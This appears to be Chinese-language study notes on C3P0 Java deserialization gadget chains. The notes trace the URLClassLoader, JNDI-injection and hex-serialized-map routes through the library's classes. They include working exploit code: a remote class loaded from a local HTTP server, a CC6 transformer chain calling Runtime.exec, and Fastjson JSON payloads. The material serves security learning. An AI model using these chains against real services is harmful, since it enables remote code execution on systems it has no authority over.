C3P0链子学习总结
URLClassLoader链
1 | <dependencies> |
PoolBackedDataSourceBase入口链
sink点在ReferenceableUtils.referenceToObject()方法里面有类加载器加载恶意类
一直查找用法:1
PoolBackedDataSourceBase.readObject()->ReferenceIndirector.getObject()->ReferenceableUtils.referenceToObject()->
我们查看PoolBackedDataSourceBase.readObject()
方法,发现会判断o是否是IndirectlySerialized的对象或子类,是才调用getObject()方法,然后强制转化为ConnectionPoolDataSource类型的对象再进行一次判断是否调用getObejct()方法
而ConnectionPoolDataSource是一个接口,没用实现Serialize,不能被序列化
我们看PoolBackedDataSourceBase的writeObject()方法:
先判断是否可以序列化,不能就新建一个ReferenceIndirector对象,并调用ReferenceIndirector的indirectForm()方法来处理connectionPoolDataSource
变量
getReference()方法会新建一个Reference对象
然后返回一个ReferenceSerialized对象
这个IndirectlySerialized接口是继承Serializable的,可以被序列化,而且也是readObject入口点需要的对象类型,满足条件,所以我们要通过反射来修改PoolBackedDataSourceBase的connectionPoolDataSource变量为我们的恶意变量
重点:
我们需要知道connectionPoolDataSource变量是ConnectionPoolDataSource类型的,需要恶意类要重写它的方法,因为在反射的时候需要赋值,而ConnectionPoolDataSource又是继承CommonDataSource的,因此也要重写CommonDataSource的方法
恶意类还要继承Referenceable,因为在writeObject()方法的时候调用 ReferenceIndirector的indirectForm()方法,有一个强制转换成Referenceable类型
1 | import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; |
calc1
2
3
4
5
6
7import java.io.IOException;
public class calc {
public calc() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
开http:1
python -m http.server 8002
其他链子:
这里我们的入口点PoolBackedDataSourceBase具备以下条件:
- readObject()方法会调用可控类的getObject()方法
- writeObject()方法会将一可控内置变量进行ReferenceIndirector.indirectForm()方法封装返回一个ReferenceSerialized对象
JndiRefDataSourceBase入口链
我们查找这种类找到了JndiRefDataSourceBase
他writeObject写的是jndiName变量
readObject()正常调用getObject()
因此只需要修改入口类即可,其他保留上面一样的exp,因为jndiName变量是Object类型的对象,恶意类的重写方法可以不变,不影响1
2
3
4
5public static byte[] serialize(ConnectionPoolDataSource lp) throws Exception{
JndiRefDataSourceBase JndiDataSourceBase = new JndiRefDataSourceBase(false);
Field connectionPoolDataSourceField = JndiRefDataSourceBase.class.getDeclaredField("jndiName");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(JndiDataSourceBase,lp);
WrapperConnectionPoolDataSourceBase入口链
它的writeObject处理的nestedDataSource变量,是DataSource类型,我们的恶意类需要重写DataSource接口和Referenceable接口的方法
又因为WrapperConnectionPoolDataSourceBase是抽象类,我们也需要额外构造一个子类继承它来实现1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116import com.mchange.v2.c3p0.ConnectionCustomizer;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.DataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class test1 {
public static class wrap extends WrapperConnectionPoolDataSourceBase{
public wrap(boolean autoregister) {
super(autoregister);
}
protected PooledConnection getPooledConnection(ConnectionCustomizer cc, String idt) throws SQLException {
return null;
}
protected PooledConnection getPooledConnection(String user, String password, ConnectionCustomizer cc, String idt) throws SQLException {
return null;
}
}
public static class C3P0 implements Referenceable, DataSource {
public Reference getReference() throws NamingException {
return new Reference("calc","calc","http://127.0.0.1:8002/");
}
public Connection getConnection() throws SQLException {
return null;
}
public Connection getConnection(String username, String password) throws SQLException {
return null;
}
public <T> T unwrap(Class<T> iface) throws SQLException {
return null;
}
public boolean isWrapperFor(Class<?> iface) throws SQLException {
return false;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void unserialize(byte[] bytes) throws Exception{
try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
ObjectInputStream oin = new ObjectInputStream(bain)){
oin.readObject();
}
}
public static byte[] serialize(DataSource lp) throws Exception{
wrap wrapperConnectionPoolDataSourceBase=new wrap(false);
Field connectionPoolDataSourceField = WrapperConnectionPoolDataSourceBase.class.getDeclaredField("nestedDataSource");
connectionPoolDataSourceField.setAccessible(true);
connectionPoolDataSourceField.set(wrapperConnectionPoolDataSourceBase,lp);
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(wrapperConnectionPoolDataSourceBase);
return baout.toByteArray();
}
}
public static void main(String[] args) throws Exception{
C3P0 exp = new C3P0();
byte[] bytes = serialize(exp);
unserialize(bytes);
}
}
JNDI注入
1 | JndiRefConnectionPoolDataSource#setLoginTime -> |
1 | import com.alibaba.fastjson.JSON; |
sink点是JndiRefForwardingDataSource的dereference()方法
查找用法向上找到了本类的inner()
方法-<setLoginTimeout()
方法—<WrapperConnectionPoolDataSource#setLoginTime
—<JndiRefConnectionPoolDataSource.setLoginTimeout()
方法
这里一开始有个没看懂的点是WrapperConnectionPoolDataSource#setLoginTime()方法里面
这个getNesteDataSource()方法跟进后发现是JndiRefForwardingDataSource类,刚好连上链子
我们看构造方法发现了答案:
发现会给wcpds调用setNestedDataSource方法,设置好了JndiRefForwardingDataSource类型的对象
Hex反序列化
WrapperConnectionPoolDataSource类的构造方法有个C3P0ImplUtils.parseUserOverridesAsString方法
跟进
它先判断userOverridesAsString是否3为null,不是就截取HASM_HEADER头和最后的分号之间的部分,然后把数据转成字节数组,强制转化为Map类型,调用SerializableUtils.fromByteArray方法
这里可以直接反序列化
我们传入的参数是getUserOverridesAsString()方法返回的值,跟进
是个字符串类型的内置变量,叫userOverridesAsString
,在它父类里面,我们传入的恶意map类赋值给它即可
exp直接抄文章的了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class C3P0HEx_CC6 {
public static Map exp() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Atkx");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"bbb");
lazyMap.remove("Atkx");
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException, ClassNotFoundException {
String hex = toHexAscii(tobyteArray(exp()));
System.out.println(hex);
//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
JSON.parse(payload);
}
}